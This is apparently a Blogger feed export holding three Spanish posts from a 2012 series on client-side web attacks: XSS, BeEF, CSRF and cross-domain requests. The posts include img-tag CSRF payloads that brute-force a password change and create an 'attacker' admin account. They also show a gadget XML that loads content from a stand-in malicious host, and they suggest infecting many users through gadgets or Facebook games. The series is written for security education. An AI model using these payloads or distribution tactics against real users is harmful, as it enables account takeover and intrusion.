&lt;li&gt;&lt;b&gt;Analizar la red&lt;/b&gt;&amp;nbsp;en la que se encuentra la víctima en busca de nuevos equipos y servidores y la posibilidad de realizarles un&amp;nbsp;&lt;b&gt;escáner de puertos&lt;/b&gt;. (Esto ya es bastante INTERESANTE).&lt;/li&gt;
&lt;/ul&gt;
&lt;ul&gt;
&lt;li&gt;&lt;b&gt;Utilizar el navegador de la víctima como proxy&lt;/b&gt;&amp;nbsp;para navegar dentro del dominio afectado por el XSS utilizando la sesión de la propia víctima (&lt;i&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Session_hijacking&quot; target=&quot;_blank&quot;&gt;Session Hijacking&lt;/a&gt;&lt;/i&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;ul&gt;
&lt;li&gt;&lt;b&gt;Explotación de vulnerabilidades conocidas&lt;/b&gt;&amp;nbsp;en servidores JBoss, vTiger CRM, algunos sistemas Linksys...&lt;/li&gt;
&lt;/ul&gt;
&lt;ul&gt;
&lt;li&gt;&lt;b&gt;Integración con Metasploit &lt;/b&gt;para la explotación de todo tipo de exploits en los navegadores web de los usuarios.&lt;/li&gt;
&lt;/ul&gt;
Es decir, a partir de&amp;nbsp;&lt;b&gt;un&amp;nbsp;&lt;strike&gt;inocente&lt;/strike&gt;&amp;nbsp;Cross Site Scripting en cualquier servidor&lt;/b&gt;&amp;nbsp;podemos, por ejemplo, analizar la red local de un empleado de una empresa mediante barridos de ping y análisis de puertos, lo que desde el punto de vista de un pentester podría significar una primera impresión de la red.&lt;br /&gt;
&lt;br /&gt;
Lógicamente, desde este mismo punto de vista es mucho más interesante la integración con Metasploit, que nos proporcionaría el paso que nos faltaría dar para entrar del todo&amp;nbsp;al interior de la LAN corporativa.&lt;br /&gt;
&lt;br /&gt;
Por desgracia, en los test de intrusión no es habitual que se permita atacar al usuario ya que esto normalmente está más pensado para&amp;nbsp;auditorías técnicas que se mezclen con técnicas de &lt;a href=&quot;http://en.wikipedia.org/wiki/Social_engineering_(security)&quot; target=&quot;_blank&quot;&gt;Ingeniería Social&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
Os dejo un vídeo algo largo, pero muy completo, para que veáis BeEF en acción y os anime a probarlo:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;iframe allowfullscreen=&quot;&quot; frameborder=&quot;0&quot; height=&quot;266&quot; src=&quot;http://www.youtube.com/embed/zOJ1LUfcv3k&quot; width=&quot;320&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Cross Domain y Cross Site Request Forgery&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Pasando a otro tipo de ataque, si decía que el XSS era el rey, podríamos decir que el Cross Site Request Forgery es casi la oveja negra de los ataques del lado de cliente. Esto no lo digo porque no sea útil ni peligroso, sino porque apenas se le hace caso o incluso se infravalora, ignorando el riesgo real de este tipo de ataque.&lt;br /&gt;
&lt;br /&gt;
Para explicar en qué consiste voy a poneros como ejemplo la vulnerabilidad de XSRF que se detectó en &lt;a href=&quot;http://www.zdnet.com/blog/security/google-downplays-severity-of-gmail-csrf-flaw/2773&quot; target=&quot;_blank&quot;&gt;Gmail allá por el 2009&lt;/a&gt;&amp;nbsp;por lo visual que es al encontrarse en un formulario de cambio de contraseña. Imaginad que al hacer un cambio de contraseña en Gmail, la URL que se enviara al servidor fuera la siguiente:&lt;br /&gt;
&lt;br /&gt;
https://mail.google.com/changePassword?&lt;b&gt;user=pepito&lt;/b&gt;&amp;amp;&lt;b&gt;oldpassword=123456&lt;/b&gt;&amp;amp;&lt;b&gt;newpassword=qwerty&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Al saber que esta URL no está protegida de ataques de XSRF, podríamos hacer un ataque de fuerza bruta haciendo que nuestra víctima entre a una URL maliciosa en donde hubiera miles (es un ataque por diccionario) de tags HTML como los siguientes:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;img src=&quot;https://mail.google.com/changePassword?&lt;b&gt;user=víctima&lt;/b&gt;&amp;amp;&lt;b&gt;oldpassword=&lt;span style=&quot;color: red;&quot;&gt;pass1&lt;/span&gt;&lt;/b&gt;&amp;amp;&lt;b&gt;newpassword=mypassword&quot; /&amp;gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;img src=&quot;https://mail.google.com/changePassword?&lt;b&gt;user=víctima&lt;/b&gt;&amp;amp;&lt;b&gt;oldpassword=&lt;span style=&quot;color: #6aa84f;&quot;&gt;pass2&lt;/span&gt;&lt;/b&gt;&amp;amp;&lt;b&gt;newpassword=mypassword&quot; /&amp;gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;img src=&quot;https://mail.google.com/changePassword?&lt;b&gt;user=víctima&lt;/b&gt;&amp;amp;&lt;b&gt;oldpassword=&lt;span style=&quot;color: blue;&quot;&gt;pass3&lt;/span&gt;&lt;/b&gt;&amp;amp;&lt;b&gt;newpassword=mypassword&quot; /&amp;gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
[...]&lt;br /&gt;
&lt;br /&gt;
Al ser un tag &quot;img&quot;, la URL que hay dentro del atributo &quot;src&quot; se acaba ejecutando para tratar de cargar la imagen pero, en este caso, lo que realmente se está haciendo es tratar de cambiar la contraseña del usuario &quot;víctima&quot; por una que nosotros conocemos (mypassword). Para ello, como veis, lo que se hace es ir cambiando el campo &quot;oldpassword&quot; de manera que si alguna de las que probamos da la casualidad que es la de nuestra víctima, Gmail creerá que es la víctima la que realmente está haciendo el cambio de contraseña y, por tanto, procederá al cambio. Habríamos robado la cuenta de correo de la víctima. (Imagino que no hace falta decir que esto ya está más que corregido... así que no hace falta que lo probéis (en Gmail)).&lt;br /&gt;
&lt;br /&gt;
Vale, ya sabemos qué es eso del XSRF pero ¿y lo del Cross Domain? Pues bien, el Cross Domain es un ataque bastante antiguo por el cual se permitía acceder a través de Javascript (o cualquier otro lenguaje script) a información de otros dominios. Es decir, si el atacante tenía el dominio &quot;atacante.com&quot;, podía incluir en su página web código script que accediera a Facebook y le enviara la cookie de sesión del usuario que había accedido.&lt;br /&gt;
&lt;br /&gt;
Por &lt;strike&gt;suerte&lt;/strike&gt;, los navegadores modernos (cualquiera a partir de IE6 o FF2) implementan la política de mismo origen (&lt;i&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Same_origin_policy&quot; target=&quot;_blank&quot;&gt;same origin policy&lt;/a&gt;&lt;/i&gt;). Esta política evita que desde código script, ya sea Javascript, Flash o cualquier otra tecnología soportada por el navegador, se pueda acceder a páginas de diferentes dominios.&lt;br /&gt;
&lt;br /&gt;
Pero existe un problema con la manera&amp;nbsp;que tienen los navegadores de implementar esta política que hace que aún se pueda utilizar este viejo método para realizar ataques de tipo&amp;nbsp;Cross Site Request Forgery. Me explico...&lt;br /&gt;
&lt;br /&gt;
La mayoría de navegadores (al menos en los que lo he probado que han sido Chrome y Firefox), al realizar una petición con&amp;nbsp;XMLHttpRequest a otro dominio, envían la petición correctamente al servidor en cuestión y es al recibir la respuesta cuando se produce una excepción que hace que no se pueda interpretar.&lt;br /&gt;
&lt;br /&gt;
Esto, como digo, se puede utilizar para realizar peticiones a sitios que sean vulnerables a XSRF, ya sea por GET o por POST. De manera que si nos encontráramos con una Intranet vulnerable que tuviera una URL para crear usuario como:&lt;br /&gt;
&lt;br /&gt;
http://www.intranet.com/admin/createUser?username=nuevousuario&amp;amp;password=[valor_md5]&lt;br /&gt;
&lt;br /&gt;
Bastaría con incluir un fragmento de código Javascript como los de antes en una URL y hacer que el administrador de la Intranet vulnerable acceda a ella:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;img src=&quot;http://www.intranet.com/admin/createUser?username=attacker&amp;amp;password=5f4dcc3b5aa765d61d8327deb882cf99&quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
En esta entrada hemos visto dos de los ataques del lado del cliente más peligrosos (y frecuentes), pero no son los únicos. Por lo que dejo para la próxima un ataque que, personalmente, me gusta bastante aunque resulte un tanto complejo de explotar en un entorno real... ¿adivináis cuál?</content><link rel='replies' type='text/html' href='http://laxmarcaellugar.blogspot.com/2012/02/client-side-attacks-iii-sacando.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5126521867667260192/posts/default/7928386538794520252'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5126521867667260192/posts/default/7928386538794520252'/><link rel='alternate' type='text/html' href='http://laxmarcaellugar.blogspot.com/2012/02/client-side-attacks-iii-sacando.html' title='Client Side Attacks (III): Sacando Provecho'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/18156762137537807567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcgSYJdTUW8oonzFxkSwzgGrj2UWotambU_vzpFhScJq-cDmJqH8mAPWCUAU3kQRgnkPhzmacLjoS3lOEbmzCGzMn5TMRFys6NnxBWZAyKJF_zpbFp9dfSxhiE4mOuLCVbWeflOSDH7wqX/s72-c/computer_on_internet_2.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5126521867667260192.post-7879586145061757808</id><published>2012-02-01T07:00:00.000+01:00</published><updated>2012-02-28T07:12:52.310+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Seguridad Web"/><title type='text'>Client Side Attacks (II): Infectando Navegadores</title><content type='html'>&lt;div style=&quot;text-align: -webkit-auto;&quot;&gt;
&lt;pre&gt;  ****************************************************
    &lt;a href=&quot;http://laxmarcaellugar.blogspot.com/2012/01/client-side-attacks-i-introduccion.html&quot; target=&quot;_blank&quot;&gt;Client Side Attacks (I): Introducción&lt;/a&gt;
&lt;b&gt;    &lt;a href=&quot;http://laxmarcaellugar.blogspot.com/2012/02/client-side-attacks-ii-infectando.html&quot; target=&quot;_blank&quot;&gt;Client Side Attacks (II): Infectando Navegadores&lt;/a&gt;&lt;/b&gt;
    &lt;a href=&quot;http://laxmarcaellugar.blogspot.com/2012/02/client-side-attacks-iii-sacando.html&quot; target=&quot;_blank&quot;&gt;Client Side Attacks (III): Sacando provecho&lt;/a&gt;
    Client Side Attacks (IV): Otros ataques
  ****************************************************&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgFcXN90AUYBR5Smb-R_Lsy0dTbIXapgADz6FNgj0VDuLQI9q9eReOL0_pm_MrWbEVq8nEqSZCg1wmD7thU2BZYfgezXRARdFLnjXJdWXZVvrlsj4symy-6hyphenhyphenpP-fzjbViAFkwVxmT-PnN/s1600/worm_ff.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;200&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgFcXN90AUYBR5Smb-R_Lsy0dTbIXapgADz6FNgj0VDuLQI9q9eReOL0_pm_MrWbEVq8nEqSZCg1wmD7thU2BZYfgezXRARdFLnjXJdWXZVvrlsj4symy-6hyphenhyphenpP-fzjbViAFkwVxmT-PnN/s200/worm_ff.jpg&quot; width=&quot;191&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
En la &lt;a href=&quot;http://laxmarcaellugar.blogspot.com/2012/01/client-side-attacks-i-introduccion.html&quot; target=&quot;_blank&quot;&gt;entrada anterior&lt;/a&gt; vimos en qué consistían los&lt;b&gt; ataques del lado del cliente&lt;/b&gt; con un ejemplo práctico que permitía robar la sesión de un usuario que se viera afectado por un Cross Site Scripting. Pero, ¿&lt;b&gt;cómo sacar provecho de este tipo de ataques en un caso real&lt;/b&gt; como podría ser un test de intrusión?&lt;br /&gt;
&lt;br /&gt;
Teniendo en cuenta que hasta ahora nos estamos centrando únicamente en los XSS, cuando intentamos responder a la pregunta anterior, se nos plantean dos grandes problemas. El primero de ellos es tener el conocimiento suficiente de Javascript como para ser capaces de programar un exploit y el segundo es cómo conseguir infectar al mayor número de usuarios posible o al menos a aquellos que nos interesan para conseguir nuestro objetivo.&lt;br /&gt;
&lt;br /&gt;
Esta entrada la voy a dedicar al segundo de estos problemas...&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Infectando Navegadores&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Lo habitual es pensar en enviar un correo electrónico o publicar el enlace en algún blog o red social para que la gente pinche sobre él. Pero en estos casos nos encontramos con el problema que ya planteamos en la entrada anterior con soft: en el momento que el usuario abandone la URL con el XSS inyectado,&amp;nbsp;perderemos&amp;nbsp;el control sobre el navegador del usuario.&lt;br /&gt;
&lt;br /&gt;
Una manera de solucionarlo es publicar el código malicioso en sitios como foros (cada vez en más difícil encontrar foros vulnerables a Cross Site Scripting) o incluso en algún dominio que controlemos y atraer a los usuarios hasta él... Aunque puestos a desear, está claro que lo mejor es inyectar el código en donde los usuarios ya están y donde pasan la mayor parte de su tiempo; es decir, en las redes&amp;nbsp;sociales o páginas de inicio típicas como motores de búsqueda o escritorios web.&lt;br /&gt;
&lt;br /&gt;
Esto puede parecer bastante difícil. ¿Un Cross Site Scripting en Google? Sí, &lt;a href=&quot;http://www.nilsjuenemann.de/2011/11/xss-on-googlecom.html&quot; target=&quot;_blank&quot;&gt;los hay&lt;/a&gt;, pero se puede obtener el mismo resultado de maneras más fáciles y, sobretodo, duraderas.&lt;br /&gt;
&lt;br /&gt;
Yo, al igual que otra mucha gente que conozco, utilizo iGoogle como página de inicio. Tanto éste como otros escritorios web se componen de&amp;nbsp;&lt;i&gt;gagdets&lt;/i&gt;, que no son más que iframes con alguna URL dentro... Es decir, que si alguien se entretiene y publica un &lt;a href=&quot;http://www.google.com/webmasters/gadgets/&quot; target=&quot;_blank&quot;&gt;gadget&lt;/a&gt;&amp;nbsp;con un contenido atractivo además del código malicioso y lo comienza a distribuir... es muy fácil que la gente se lo instale en su escritorio web y cada vez que entren (que debería ser bastante a menudo) tendremos nuestro script/exploit en sus navegadores.&lt;br /&gt;
&lt;br /&gt;
Además, para compartir un gadget para iGoogle, ni siquiera hace falta publicarlo en su directorio de gadgets. Basta con distribuir una URL como la siguiente que, además, pertenece a Google y parece totalmente inofensiva, facilitando ser publicada y distribuida a través de redes sociales:&lt;br /&gt;
&lt;br /&gt;
http://www.google.es/ig/directory?hl=es&amp;amp;type=gadgets&amp;amp;&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;url=www.sitiomalicioso.com/gadget.xml&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgy1LoboCvN6Eco-5DU7kKZKd4BRpDNkTJCmwgVoniLz51eYh2GDOdLJ6tMy782X0cty41XnphMk8IAivlHoJi0SmXGiTXMcfSbZy-7qOFc_sa54qyJr2idojXbn_HkHHy-eL75RHUqNC-1/s1600/01+LaXgadget.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;214&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgy1LoboCvN6Eco-5DU7kKZKd4BRpDNkTJCmwgVoniLz51eYh2GDOdLJ6tMy782X0cty41XnphMk8IAivlHoJi0SmXGiTXMcfSbZy-7qOFc_sa54qyJr2idojXbn_HkHHy-eL75RHUqNC-1/s320/01+LaXgadget.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
El contenido del fichero XML que muestra la URL anterior&amp;nbsp;(gadget.xml)&amp;nbsp;es el siguiente:&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;brush: html&quot;&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot; ?&amp;gt;
&amp;lt;Module&amp;gt;
&amp;nbsp; &amp;nbsp; &amp;lt;ModulePrefs
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; author=&quot;Attacker&quot;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; author_email=&quot;fakemail@gmail.com&quot;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; author_location=&quot;123 Fake Street&quot;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; description=&quot;This gadget is a PoC for La X marca el lugar&quot;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; title=&quot;La X marca el lugar Gadget!!&quot;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; directory_title=&quot;La X marca el lugar Gadget!!&quot;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; thumbnail=&quot;http://www.sitiomalicioso.com/LaX_trans.png&quot;&amp;gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;Require feature=&quot;views&quot; /&amp;gt;
&amp;nbsp; &amp;nbsp; &amp;lt;/ModulePrefs&amp;gt;
&amp;nbsp; &amp;nbsp; &amp;lt;Content type=&quot;url&quot; view=&quot;home&quot; href=&quot;http://www.sitiomalicioso.com/index.html&quot; /&amp;gt;
&amp;lt;/Module&amp;gt;&lt;/pre&gt;
&lt;br /&gt;
Con él se definen cada uno de los campos que luego se muestran en la imagen anterior y se especifica (línea 13, tag Content) la URL que estará dentro del iframe del gadget final. Si os interesa saber más sobre cómo diseñar vuestros gadgets podéis consultarlo en la &lt;a href=&quot;http://code.google.com/intl/es/apis/igoogle/docs/igoogledevguide.html&quot; target=&quot;_blank&quot;&gt;Guía del desarrollador de iGoogle&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
Si desde la URL anterior pulsamos en el botón &quot;Añadir ahora&quot;, &amp;nbsp;el gadget&amp;nbsp;se instala, pasando a formar parte de nuestro iGoogle:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7k293wFqVs2ylqZxuvVk5Jb-3rHDjwVq_1C7tG0_2GBHkZ_fA51eHJ_rvYef9Ouzx4nWWF4QlGRDeqRaKq2nA9yeyt-uCfe1N5w7ZfrecjCNFsQF8LYtjo9TG86I7Tj34ZnqENrj-aa2I/s1600/02+LaXgadget.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;214&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7k293wFqVs2ylqZxuvVk5Jb-3rHDjwVq_1C7tG0_2GBHkZ_fA51eHJ_rvYef9Ouzx4nWWF4QlGRDeqRaKq2nA9yeyt-uCfe1N5w7ZfrecjCNFsQF8LYtjo9TG86I7Tj34ZnqENrj-aa2I/s320/02+LaXgadget.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Una vez instalado funciona como cualquier otro gadget &quot;oficial&quot;, permitiendo incluso&amp;nbsp;que&amp;nbsp;los propios usuarios lo compartan por el procedimiento habitual desde el enlace que se proporciona en iGoogle.&lt;br /&gt;
&lt;br /&gt;
Llevando esta idea un poco más al extremo y ya puestos... ¿por qué no implementar un jueguecillo de esos que enganchan para Facebook y que incluya nuestro script? Con un &lt;a href=&quot;http://www.farmville.com/&quot; target=&quot;_blank&quot;&gt;FarmVille&lt;/a&gt;&amp;nbsp;o similar podríamos llegar a tener&amp;nbsp;miles (millones) de usuarios infectados al cabo de unas semanas.&lt;br /&gt;
&lt;br /&gt;
Por tanto, ya hemos conseguido solucionar el segundo de nuestros problemas. Infectar a muchos usuarios de una manera sencilla y sin llamar la atención con&amp;nbsp;&lt;i&gt;spam&lt;/i&gt;.&amp;nbsp;En&amp;nbsp;la próxima entrada, veremos qué hacer desde los navegadores una vez que ya los controlamos ;)</content><link rel='replies' type='text/html' href='http://laxmarcaellugar.blogspot.com/2012/02/client-side-attacks-ii-infectando.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5126521867667260192/posts/default/7879586145061757808'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5126521867667260192/posts/default/7879586145061757808'/><link rel='alternate' type='text/html' href='http://laxmarcaellugar.blogspot.com/2012/02/client-side-attacks-ii-infectando.html' title='Client Side Attacks (II): Infectando Navegadores'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/18156762137537807567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgFcXN90AUYBR5Smb-R_Lsy0dTbIXapgADz6FNgj0VDuLQI9q9eReOL0_pm_MrWbEVq8nEqSZCg1wmD7thU2BZYfgezXRARdFLnjXJdWXZVvrlsj4symy-6hyphenhyphenpP-fzjbViAFkwVxmT-PnN/s72-c/worm_ff.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5126521867667260192.post-7133425711918868566</id><published>2012-01-16T07:00:00.000+01:00</published><updated>2012-02-28T07:12:36.055+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Seguridad Web"/><title type='text'>Client Side Attacks (I): Introducción</title><content type='html'>&lt;div style=&quot;text-align: -webkit-auto;&quot;&gt;
&lt;pre&gt;  ****************************************************
    &lt;b&gt;&lt;a href=&quot;http://laxmarcaellugar.blogspot.com/2012/01/client-side-attacks-i-introduccion.html&quot; target=&quot;_blank&quot;&gt;Client Side Attacks (I): Introducción&lt;/a&gt;&lt;/b&gt;
    &lt;a href=&quot;http://laxmarcaellugar.blogspot.com/2012/02/client-side-attacks-ii-infectando.html&quot; target=&quot;_blank&quot;&gt;Client Side Attacks (II): Infectando Navegadores&lt;/a&gt;
    &lt;a href=&quot;http://laxmarcaellugar.blogspot.com/2012/02/client-side-attacks-iii-sacando.html&quot; target=&quot;_blank&quot;&gt;Client Side Attacks (III): Sacando provecho&lt;/a&gt;
    Client Side Attacks (IV): Otros ataques
  ****************************************************&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;http://hakin9.org/sql-injection-112/&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;200&quot; src=&quot;http://hakin9.org/wp-content/uploads/downloads/thumbnails/2012/01/ok%C5%82adka1.png&quot; width=&quot;139&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Hace unas semanas publiqué un artículo en el número&amp;nbsp;1/12 de la revista &lt;a href=&quot;http://hakin9.org/sql-injection-112/&quot; target=&quot;_blank&quot;&gt;&lt;b&gt;Hakin9&lt;/b&gt;&lt;/a&gt;. En el artículo hablaba de cómo sacar provecho de vulnerabilidades del lado del cliente (XSS, CSRF, Cross Domain...). Para aquellos que no tengan acceso a la revista original o no se sientan cómodos leyendo en la lengua de Shakespeare, voy a contar en una serie de entradas la mayor parte de lo que trataba el artículo.&lt;br /&gt;
&lt;br /&gt;
Para empezar, cuando en Seguridad Web nos referimos a &lt;i&gt;&lt;b&gt;Client Side Attacks&lt;/b&gt;&lt;/i&gt;, o Ataques del Lado del Cliente, nos estamos refiriendo a todas aquellas técnicas que permiten explotar una vulnerabilidad que afecta a los usuarios del servidor web.&lt;br /&gt;
&lt;br /&gt;
Para entenderlo mejor, veamos dos ejemplos de inyección de código:&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;&lt;i&gt;Una inyección de código SQL&lt;/i&gt;. En este caso, la vulnerabilidad afecta a una aplicación / base de datos que se encuentra en el servidor, por lo que esta vulnerabilidad se considera que es del lado del servidor.&lt;/li&gt;
&lt;br /&gt;
&lt;li&gt;&lt;i&gt;Una inyección de código HTML / script&lt;/i&gt; (es decir, un Cross Site Scripting). En este caso, aunque la aplicación vulnerable se encuentra hospedada en el servidor (obvio), al explotar la vulnerabilidad, los que se ven afectados son los usuarios o clientes de la aplicación. Por ejemplo, si utilizáramos el XSS para modificar el contenido de una página web, el servidor no sufre cambio alguno pero los clientes que accedan a la URL con la inyección de código se verían afectados por la vulnerabilidad que no permitiría visualizar el contenido original. En este caso estamos ante una vulnerabilidad del lado del cliente.&lt;/li&gt;
&lt;br /&gt;
&lt;/ul&gt;
Existen muchos tipos&amp;nbsp;diferentes&amp;nbsp;de ataques del lado del cliente aunque, sin duda alguna, el más conocido es el Cross Site Scripting (XSS).&lt;br /&gt;
&lt;br /&gt;
Cuando la gente piensa en un XSS, suele pensar en una ventana de error con la palabra &quot;XSS&quot; o, como mucho, con la &lt;i&gt;cookie&lt;/i&gt; del usuario:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHDTigPncxjKx4yBfh128NKaew4jKyq0p49UbCEGCOpN8JWrk8GKdv042oEIQz-OAhqCmKIG6EgUAecA0hVrlYUglvjG1no12fsY7dQzzOUv5tgN-5IZsDcLXmtuj7UE2Wlh81kgnHVBRl/s1600/01+XSS.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;168&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHDTigPncxjKx4yBfh128NKaew4jKyq0p49UbCEGCOpN8JWrk8GKdv042oEIQz-OAhqCmKIG6EgUAecA0hVrlYUglvjG1no12fsY7dQzzOUv5tgN-5IZsDcLXmtuj7UE2Wlh81kgnHVBRl/s320/01+XSS.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Por este motivo, es habitual que los desarrolladores web o incluso los responsables de seguridad de las empresas no se tomen esta vulnerabilidad en serio y no consideren que merezca la pena invertir esfuerzos en corregirla.&lt;br /&gt;
&lt;br /&gt;
Cierto es, que es muy llamativa para los medios de comunicación y muy fácil de distribuir. Por ello también es muy habitual encontrar noticias como &lt;b&gt;&lt;a href=&quot;http://www.rtve.es/noticias/20100104/hackean-web-presidencia-espanola-suben-una-imagen-mrbean/309668.shtml&quot; target=&quot;_blank&quot;&gt;ésta&lt;/a&gt;&lt;/b&gt;, de hace un par de años, en la que se afirma que han hackeado la web de la Presidencia Europea subiendo una foto de Mr. Bean. ¡Nada más lejos de la realidad! Como decía antes, los XSS no afectan a los servidores, por lo que ni el servidor ha sido &quot;hackeado&quot; ni se ha subido nada&lt;br /&gt;
&lt;br /&gt;
Entonces... además de porque son divertidos y pueden llegar a ser un quebradero de cabeza si sale en algún medio de comunicación, ¿para qué pueden servir?&lt;br /&gt;
&lt;br /&gt;
La primera posibilidad que os voy a mostrar es &lt;b&gt;&lt;a href=&quot;http://blog.andlabs.org/2010/07/shell-of-future-reverse-web-shell.html&quot; target=&quot;_blank&quot;&gt;Shell of the Future&lt;/a&gt;&amp;nbsp;&lt;/b&gt;(sotf), de &lt;a href=&quot;http://www.andlabs.org/&quot; target=&quot;_blank&quot;&gt;Attack and Defense Labs&lt;/a&gt;. Una curiosa herramienta que te permite robar sesiones de usuario (&lt;i&gt;&lt;a href=&quot;https://www.owasp.org/index.php/Session_hijacking_attack&quot; target=&quot;_blank&quot;&gt;Session Hijacking&lt;/a&gt;&lt;/i&gt;) de una manera interactiva y bastante cómoda.&lt;br /&gt;
&lt;br /&gt;
La herramienta, desarrollada para Windows, consta de un servidor y de un proxy&amp;nbsp;web que permiten la interacción con la misma. Pero lo más interesante de ella son dos scripts en Javascript que son los que hay que inyectar en el navegador de nuestras víctimas y que permiten robar la sesión de los usuarios. Los scripts envían toda la información necesaria al servidor web de soft, que es con el que nosotros, como atacantes, utilizamos.&lt;br /&gt;
&lt;br /&gt;
Para que os hagáis una idea, el procedimiento es el siguiente:&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;Arrancaríamos el servidor web y el proxy.&lt;/li&gt;
&lt;li&gt;Accederíamos a la consola de sotf pasando a través del proxy (que suele ser la URL http://127.0.0.1/sotf.console si dejamos la configuración por defecto).&lt;/li&gt;
&lt;li&gt;Inyectamos alguno de los dos scripts en el navegador de nuestras víctimas. Por ejemplo publicando la URL con la inyección en un foro.&lt;/li&gt;
&lt;/ol&gt;
